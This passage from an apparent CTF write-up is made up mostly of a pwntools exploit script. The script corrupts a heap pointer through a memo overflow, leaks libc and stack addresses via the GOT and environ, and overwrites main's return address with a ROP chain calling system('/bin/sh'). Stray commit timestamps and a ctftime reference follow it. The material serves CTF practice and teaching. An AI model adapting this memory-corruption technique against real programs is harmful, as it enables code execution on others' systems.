io.sendlineafter("Bye :)\n", '2')
io.sendlineafter("ID:", str(idx))
io.sendlineafter("name:", content)
def write_memo(idx, content):
io.sendlineafter("Bye :)\n", '3')
io.sendlineafter("ID:", str(idx))
io.sendlineafter("memo:", content)
def show_name(idx):
io.sendlineafter("Bye :)\n", '4')
io.sendlineafter("ID:", str(idx))
def show_memo(idx):
io.sendlineafter("Bye :)\n", '5')
io.sendlineafter("ID:", str(idx))
def overflow():
add() # idx 0
add() # idx 1
write_memo(0, 'A'*0x20 + '\x78')
def leak():
global system_addr
global main_ret_addr
write_name(0, p64(elf.got['puts']))
show_name(1)
puts_addr = (u64(io.recvline()[:6] + '\x00'*2))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
environ_addr = libc_base + libc.symbols['environ']
write_name(0, p64(environ_addr))
show_name(1)
stack_addr = u64(io.recvline()[:6] + '\x00'*2)
main_ret_addr = stack_addr - 0xf0
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
log.info("main return address: 0x%x" % main_ret_addr)
def overwrite():
write_name(0, p64(0x602028)) # student_num
write_name(1, '/bin/sh\x00')
write_name(0, p64(main_ret_addr))
write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')
def pwn():
add() # call longjmp to back to main
io.interactive()
if __name__ == "__main__":
overflow()
leak()
overwrite()
pwn()
```
2018-04-19 13:37:37 +07:00
## 参考资料
2018-08-05 16:43:10 +07:00
- <https://ctftime.org/task/3169>